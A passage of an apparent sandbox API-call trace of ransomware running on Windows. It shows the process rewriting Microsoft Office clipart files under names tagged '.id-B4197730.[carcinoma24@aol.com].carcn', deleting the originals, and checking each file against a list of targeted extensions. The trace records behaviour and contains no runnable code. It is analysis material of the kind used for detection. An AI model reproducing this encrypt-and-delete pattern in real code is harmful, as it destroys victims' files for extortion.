lpNumberOfBytesWritten=0x327fc94*=0xaa0, lpOverlapped=0x0) returned 1 [0303.217] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.218] WriteFile (in: hFile=0x37c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.218] SetEndOfFile (hFile=0x37c) returned 1 [0303.219] CloseHandle (hObject=0x37c) returned 1 [0303.219] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.219] SetEndOfFile (hFile=0x350) returned 1 [0303.220] CloseHandle (hObject=0x350) returned 1 [0303.220] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.221] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf")) returned 1 [0303.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0303.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0303.221] lstrlenW (lpString=".doc") returned 4 [0303.221] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.221] lstrlenW (lpString=".docx") returned 5 [0303.221] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.221] lstrlenW (lpString=".pdf") returned 4 [0303.221] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.222] lstrlenW (lpString=".xls") returned 4 [0303.222] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.222] lstrlenW (lpString=".xlsx") returned 5 [0303.222] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.222] lstrlenW (lpString=".ppt") returned 4 [0303.222] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0303.222] lstrlenW (lpString=".zip") returned 4 [0303.222] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.222] lstrlenW (lpString=".rar") returned 4 [0303.222] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.222] lstrlenW (lpString=".bz2") returned 4 [0303.222] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.222] lstrlenW (lpString=".7z") returned 3 [0303.222] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0303.222] lstrlenW (lpString=".dbf") returned 4 [0303.222] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0303.222] lstrlenW (lpString=".1cd") returned 4 [0303.222] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0303.222] lstrlenW (lpString=".jpg") returned 4 [0303.222] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.223] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.223] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0303.228] GetLastError () returned 0x0 [0303.228] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x52c, lpOverlapped=0x0) returned 1 [0303.229] WriteFile (in: hFile=0x37c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x530, lpOverlapped=0x0) returned 1 [0303.230] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.230] WriteFile (in: hFile=0x37c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.230] SetEndOfFile (hFile=0x37c) returned 1 [0303.230] CloseHandle (hObject=0x37c) returned 1 [0303.230] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.230] SetEndOfFile (hFile=0x350) returned 1 [0303.231] CloseHandle (hObject=0x350) returned 1 [0303.231] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.232] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf")) returned 1 [0303.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0303.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0303.232] lstrlenW (lpString=".doc") returned 4 [0303.232] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.232] lstrlenW (lpString=".docx") returned 5 [0303.232] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.232] lstrlenW (lpString=".pdf") returned 4 [0303.232] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.232] lstrlenW (lpString=".xls") returned 4 [0303.232] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.232] lstrlenW (lpString=".xlsx") returned 5 [0303.233] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.233] lstrlenW (lpString=".ppt") returned 4 [0303.233] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0303.233] lstrlenW (lpString=".zip") returned 4 [0303.233] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.233] lstrlenW (lpString=".rar") returned 4 [0303.233] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.233] lstrlenW (lpString=".bz2") returned 4 [0303.233] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.233] lstrlenW (lpString=".7z") returned 3 [0303.233] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0303.233] lstrlenW (lpString=".dbf") returned 4 [0303.233] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0303.233] lstrlenW (lpString=".1cd") returned 4 [0303.233] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0303.233] lstrlenW (lpString=".jpg") returned 4 [0303.233] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.234] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.234] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0303.234] GetLastError () returned 0x0 [0303.234] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x1efc, lpOverlapped=0x0) returned 1 [0303.236] WriteFile (in: hFile=0x37c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x1f00, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x1f00, lpOverlapped=0x0) returned 1 [0303.237] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.237] WriteFile (in: hFile=0x37c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.237] SetEndOfFile (hFile=0x37c) returned 1 [0303.237] CloseHandle (hObject=0x37c) returned 1 [0303.237] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.237] SetEndOfFile (hFile=0x350) returned 1 [0303.238] CloseHandle (hObject=0x350) returned 1 [0303.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.239] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf")) returned 1 [0303.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0303.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0303.239] lstrlenW (lpString=".doc") returned 4 [0303.239] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.239] lstrlenW (lpString=".docx") returned 5 [0303.239] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.239] lstrlenW (lpString=".pdf") returned 4 [0303.239] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.239] lstrlenW (lpString=".xls") returned 4 [0303.239] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.239] lstrlenW (lpString=".xlsx") returned 5 [0303.239] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.239] lstrlenW (lpString=".ppt") returned 4 [0303.239] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0303.239] lstrlenW (lpString=".zip") returned 4 [0303.239] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.240] lstrlenW (lpString=".rar") returned 4 [0303.240] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.240] lstrlenW (lpString=".bz2") returned 4 [0303.240] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.240] lstrlenW (lpString=".7z") returned 3 [0303.240] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0303.240] lstrlenW (lpString=".dbf") returned 4 [0303.240] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0303.240] lstrlenW (lpString=".1cd") returned 4 [0303.240] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0303.240] lstrlenW (lpString=".jpg") returned 4 [0303.240] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.240] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.240] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0303.241] GetLastError () returned 0x0 [0303.241] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x15b0, lpOverlapped=0x0) returned 1 [0303.242] WriteFile (in: hFile=0x37c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x15c0, lpOverlapped=0x0) returned 1 [0303.243] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.243] WriteFile (in: hFile=0x37c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.243] SetEndOfFile (hFile=0x37c) returned 1 [0303.243] CloseHandle (hObject=0x37c) returned 1 [0303.244] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.244] SetEndOfFile (hFile=0x350) returned 1 [0303.245] CloseHandle (hObject=0x350) returned 1 [0303.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.245] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf")) returned 1 [0303.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0303.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0303.245] lstrlenW (lpString=".doc") returned 4 [0303.245] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.245] lstrlenW (lpString=".docx") returned 5 [0303.245] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.245] lstrlenW (lpString=".pdf") returned 4 [0303.245] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.245] lstrlenW (lpString=".xls") returned 4 [0303.246] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.246] lstrlenW (lpString=".xlsx") returned 5 [0303.246] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.246] lstrlenW (lpString=".ppt") returned 4 [0303.246] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0303.246] lstrlenW (lpString=".zip") returned 4 [0303.246] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.246] lstrlenW (lpString=".rar") returned 4 [0303.246] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.246] lstrlenW (lpString=".bz2") returned 4 [0303.246] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.246] lstrlenW (lpString=".7z") returned 3 [0303.246] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0303.246] lstrlenW (lpString=".dbf") returned 4 [0303.246] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0303.246] lstrlenW (lpString=".1cd") returned 4 [0303.246] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0303.246] lstrlenW (lpString=".jpg") returned 4 [0303.246] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.246] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.247] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0303.247] GetLastError () returned 0x0 [0303.247] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x136a, lpOverlapped=0x0) returned 1 [0303.248] WriteFile (in: hFile=0x37c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x1370, lpOverlapped=0x0) returned 1 [0303.249] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.249] WriteFile (in: hFile=0x37c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.250] SetEndOfFile (hFile=0x37c) returned 1 [0303.250] CloseHandle (hObject=0x37c) returned 1 [0303.250] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.250] SetEndOfFile (hFile=0x350) returned 1 [0303.632] CloseHandle (hObject=0x350) returned 1 [0303.632] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.632] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf")) returned 1 [0303.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0303.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0303.633] lstrlenW (lpString=".doc") returned 4 [0303.633] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.633] lstrlenW (lpString=".docx") returned 5 [0303.633] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.633] lstrlenW (lpString=".pdf") returned 4 [0303.633] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.633] lstrlenW (lpString=".xls") returned 4 [0303.633] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.633] lstrlenW (lpString=".xlsx") returned 5 [0303.633] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.633] lstrlenW (lpString=".ppt") returned 4 [0303.633] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0303.633] lstrlenW (lpString=".zip") returned 4 [0303.633] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.633] lstrlenW (lpString=".rar") returned 4 [0303.633] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.633] lstrlenW (lpString=".bz2") returned 4 [0303.633] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.633] lstrlenW (lpString=".7z") returned 3 [0303.633] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0303.633] lstrlenW (lpString=".dbf") returned 4 [0303.633] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0303.633] lstrlenW (lpString=".1cd") returned 4 [0303.633] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0303.634] lstrlenW (lpString=".jpg") returned 4 [0303.634] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.634] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.634] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0303.635] GetLastError () returned 0x0 [0303.635] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0xb80, lpOverlapped=0x0) returned 1 [0303.636] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xb90, lpOverlapped=0x0) returned 1 [0303.637] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.637] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.637] SetEndOfFile (hFile=0x340) returned 1 [0303.637] CloseHandle (hObject=0x340) returned 1 [0303.637] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.637] SetEndOfFile (hFile=0x350) returned 1 [0303.638] CloseHandle (hObject=0x350) returned 1 [0303.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.638] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf")) returned 1 [0303.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0303.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0303.639] lstrlenW (lpString=".doc") returned 4 [0303.639] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.639] lstrlenW (lpString=".docx") returned 5 [0303.639] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.639] lstrlenW (lpString=".pdf") returned 4 [0303.639] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.639] lstrlenW (lpString=".xls") returned 4 [0303.639] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.639] lstrlenW (lpString=".xlsx") returned 5 [0303.639] 